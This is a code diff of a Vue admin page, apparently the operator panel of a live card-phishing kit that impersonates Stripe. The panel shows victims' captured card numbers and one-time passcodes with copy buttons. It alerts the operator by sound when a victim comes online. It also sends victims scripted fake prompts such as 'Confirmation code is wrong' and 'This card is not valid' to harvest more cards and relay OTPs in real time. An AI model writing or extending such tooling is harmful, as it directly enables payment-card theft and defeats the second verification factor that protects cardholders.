|
|
@@ -1,5 +1,5 @@
|
|
|
<template>
|
|
|
- <PagingTable url="/phishes" :query="query" ref="table">
|
|
|
+ <PagingTableMod url="/stripe" :query="query" ref="table" size="default">
|
|
|
<template #filter>
|
|
|
<ElInput
|
|
|
class="!w-52"
|
|
|
@@ -12,23 +12,65 @@
|
|
|
<ElButton :icon="Search" @click="table.refresh(true)" />
|
|
|
</template>
|
|
|
</ElInput>
|
|
|
+ <ElSelect v-model="query.online" clearable>
|
|
|
+ <ElOption label="全部" value="" />
|
|
|
+ <ElOption label="在线" :value="true" />
|
|
|
+ </ElSelect>
|
|
|
</template>
|
|
|
<ElTableColumn prop="id" label="#" width="80" />
|
|
|
+ <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
|
|
|
+ <ElTableColumn label="在线" width="80" align="center">
|
|
|
+ <template #default="{ row }">
|
|
|
+ <ElTag :type="row.online ? 'success' : 'info'">{{ row.online ? '是' : '否' }}</ElTag>
|
|
|
+ </template>
|
|
|
+ </ElTableColumn>
|
|
|
<ElTableColumn prop="step" label="状态" :formatter="stepFormatter" width="200" align="center">
|
|
|
<template #default="{ row }">
|
|
|
<ElTag :type="stepType(row.step)">{{ stepFormatter(row.step) }}</ElTag>
|
|
|
</template>
|
|
|
</ElTableColumn>
|
|
|
- <ElTableColumn prop="createdAt" label="创建时间" :formatter="timeFormatter" width="150" />
|
|
|
+
|
|
|
+ <ElTableColumn prop="card" label="银行卡" min-width="200">
|
|
|
+ <template #default="{ row }">
|
|
|
+ <div class="flex items-center">
|
|
|
+ {{ row.card }}
|
|
|
+ <UseClipboard v-if="row.card" v-slot="{ copy }" :source="row.card">
|
|
|
+ <Copy @click="copy()" class="ml-2 inline min-w-[20px] w-[20px] cursor-pointer" />
|
|
|
+ </UseClipboard>
|
|
|
+ </div>
|
|
|
+ </template>
|
|
|
+ </ElTableColumn>
|
|
|
+ <ElTableColumn prop="otp" label="OTP" min-width="80">
|
|
|
+ <template #default="{ row }">
|
|
|
+ <div class="flex items-center">
|
|
|
+ {{ row.otp }}
|
|
|
+ <UseClipboard v-if="row.otp" v-slot="{ copy }" :source="row.otp">
|
|
|
+ <Copy @click="copy()" class="ml-2 inline w-[20px] cursor-pointer" />
|
|
|
+ </UseClipboard>
|
|
|
+ </div>
|
|
|
+ </template>
|
|
|
+ </ElTableColumn>
|
|
|
<ElTableColumn label="操作" align="center" width="120">
|
|
|
<template #default="{ row }">
|
|
|
<el-dropdown @command="handleCommand($event, row)">
|
|
|
<ElButton :icon="DotsVertical"></ElButton>
|
|
|
<template #dropdown>
|
|
|
<el-dropdown-menu>
|
|
|
- <el-dropdown-item command="1">Action 1</el-dropdown-item>
|
|
|
- <el-dropdown-item command="2">Action 2</el-dropdown-item>
|
|
|
- <el-dropdown-item command="change_card"></el-dropdown-item>
|
|
|
+ <el-dropdown-item command="send_sms" v-if="row.step === 'wait_for_check_card'">
|
|
|
+ 短信OTP
|
|
|
+ </el-dropdown-item>
|
|
|
+ <el-dropdown-item command="send_mail" v-if="row.step === 'wait_for_check_card'">
|
|
|
+ 邮箱OTP
|
|
|
+ </el-dropdown-item>
|
|
|
+ <el-dropdown-item command="reinput_otp" v-if="row.step === 'wait_for_check_otp'">
|
|
|
+ OTP错误
|
|
|
+ </el-dropdown-item>
|
|
|
+ <el-dropdown-item
|
|
|
+ command="change_card"
|
|
|
+ v-if="row.step === 'wait_for_check_card' || row.step === 'wait_for_check_otp'"
|
|
|
+ >
|
|
|
+ 重输卡号
|
|
|
+ </el-dropdown-item>
|
|
|
<el-dropdown-item command="success">成功</el-dropdown-item>
|
|
|
<el-dropdown-item command="fail">失败</el-dropdown-item>
|
|
|
</el-dropdown-menu>
|
|
|
@@ -36,24 +78,50 @@
|
|
|
</el-dropdown>
|
|
|
</template>
|
|
|
</ElTableColumn>
|
|
|
- </PagingTable>
|
|
|
+ </PagingTableMod>
|
|
|
</template>
|
|
|
<script setup>
|
|
|
-import { onMounted, reactive, ref } from 'vue'
|
|
|
-import PagingTable from '@/components/PagingTable.vue'
|
|
|
+import { onBeforeUnmount, onMounted, reactive, ref } from 'vue'
|
|
|
+import PagingTableMod from '@/components/PagingTableMod.vue'
|
|
|
import { useTimeFormatter } from '@/utils/formatter'
|
|
|
import { Plus, Search } from '@vicons/tabler'
|
|
|
import EditDialog from '@/components/EditDialog.vue'
|
|
|
import { setupEditDialog } from '@/utils/editDialog'
|
|
|
import EnumSelect from '@/components/EnumSelect.vue'
|
|
|
import { http } from '@/plugins/http'
|
|
|
-import { ElMessage } from 'element-plus'
|
|
|
+import { ElMessage, ElMessageBox } from 'element-plus'
|
|
|
import { useClipboard } from '@vueuse/core'
|
|
|
import SingleUpload from '@/components/SingleUpload.vue'
|
|
|
-import { DotsVertical } from '@vicons/tabler'
|
|
|
-const query = ref({})
|
|
|
+import { DotsVertical, Copy } from '@vicons/tabler'
|
|
|
+import { io } from 'socket.io-client'
|
|
|
+import { useSound } from '@vueuse/sound'
|
|
|
+import buttonSfx from '../assets/alert.mp3'
|
|
|
+import { UseClipboard } from '@vueuse/components'
|
|
|
+
|
|
|
+const query = ref({ online: true })
|
|
|
const timeFormatter = useTimeFormatter()
|
|
|
const table = ref(null)
|
|
|
+const { play: playSound } = useSound(buttonSfx)
|
|
|
+
|
|
|
+const socket = io(import.meta.env.VITE_WS_URL + '/paymentManage', {
|
|
|
+ path: '/ws',
|
|
|
+ transports: ['websocket']
|
|
|
+})
|
|
|
+socket.on('new', (data) => {
|
|
|
+ playSound()
|
|
|
+ table.value.refresh()
|
|
|
+})
|
|
|
+socket.on('update', (data) => {
|
|
|
+ playSound()
|
|
|
+ table.value.refresh()
|
|
|
+})
|
|
|
+let timer = setInterval(() => {
|
|
|
+ //table.value.refresh()
|
|
|
+}, 1000)
|
|
|
+onBeforeUnmount(() => {
|
|
|
+ socket.close()
|
|
|
+ clearInterval(timer)
|
|
|
+})
|
|
|
const stepFormatter = (value) => {
|
|
|
switch (value) {
|
|
|
case 'input_card':
|
|
|
@@ -76,7 +144,7 @@ function stepType(value) {
|
|
|
switch (value) {
|
|
|
case 'wait_for_check_card':
|
|
|
case 'wait_for_check_otp':
|
|
|
- return 'primary'
|
|
|
+ return ''
|
|
|
case 'success':
|
|
|
return 'success'
|
|
|
case 'fail':
|
|
|
@@ -85,19 +153,67 @@ function stepType(value) {
|
|
|
return 'info'
|
|
|
}
|
|
|
}
|
|
|
-function handleCommand(command, row) {
|
|
|
- console.log(command, row)
|
|
|
- switch (command) {
|
|
|
- case 'success':
|
|
|
- http.put(`/phishes/${row.id}`, { step: 'success' }).then(() => {
|
|
|
- table.value.refresh()
|
|
|
- })
|
|
|
- break
|
|
|
- case 'fail':
|
|
|
- http.put(`/phishes/${row.id}`, { step: 'fail' }).then(() => {
|
|
|
- table.value.refresh()
|
|
|
- })
|
|
|
- break
|
|
|
+async function handleCommand(command, row) {
|
|
|
+ try {
|
|
|
+ switch (command) {
|
|
|
+ case 'success':
|
|
|
+ await http.put(`/stripe/admin/${row.id}`, { step: 'success' })
|
|
|
+ break
|
|
|
+ case 'fail':
|
|
|
+ await http.put(`/stripe/admin/${row.id}`, { step: 'fail' })
|
|
|
+ break
|
|
|
+ case 'send_sms':
|
|
|
+ case 'send_mail': {
|
|
|
+ try {
|
|
|
+ const { value } = await ElMessageBox.prompt('请输入手机或邮箱尾号', 'OTP', {
|
|
|
+ confirmButtonText: '确定',
|
|
|
+ cancelButtonText: '取消'
|
|
|
+ })
|
|
|
+ let msg = ''
|
|
|
+ if (command === 'sms') {
|
|
|
+ msg = `We've sent you a text message to your registered phone number`
|
|
|
+ if (value) {
|
|
|
+ msg += ` ending in ${value}.`
|
|
|
+ } else {
|
|
|
+ msg += '.'
|
|
|
+ }
|
|
|
+ } else {
|
|
|
+ msg = "We've sent you a text message to your registered email address"
|
|
|
+ if (value) {
|
|
|
+ msg += `(${value}).`
|
|
|
+ }
|
|
|
+ }
|
|
|
+ await http.put(`/stripe/admin/${row.id}`, {
|
|
|
+ step: 'input_otp',
|
|
|
+ otpType: command === 'send_sms' ? 'sms' : 'email',
|
|
|
+ otpMsg: msg
|
|
|
+ })
|
|
|
+ } catch (error) {
|
|
|
+ ElMessage.info('取消操作')
|
|
|
+ }
|
|
|
+ break
|
|
|
+ }
|
|
|
+ case 'reinput_otp': {
|
|
|
+ await http.put(`/stripe/admin/${row.id}`, {
|
|
|
+ step: 'input_otp',
|
|
|
+ errMsg: 'Confirmation code is wrong, please re-enter'
|
|
|
+ })
|
|
|
+ break
|
|
|
+ }
|
|
|
+ case 'change_card': {
|
|
|
+ await http.put(`/stripe/admin/${row.id}`, {
|
|
|
+ step: 'input_card',
|
|
|
+ errMsg: 'This card is not valid, please use another card'
|
|
|
+ })
|
|
|
+ break
|
|
|
+ }
|
|
|
+ }
|
|
|
+ } catch (error) {
|
|
|
+ ElMessage.error(error.message)
|
|
|
}
|
|
|
+ table.value.refresh()
|
|
|
}
|
|
|
+const { copy } = useClipboard({
|
|
|
+ legacy: true
|
|
|
+})
|
|
|
</script>
|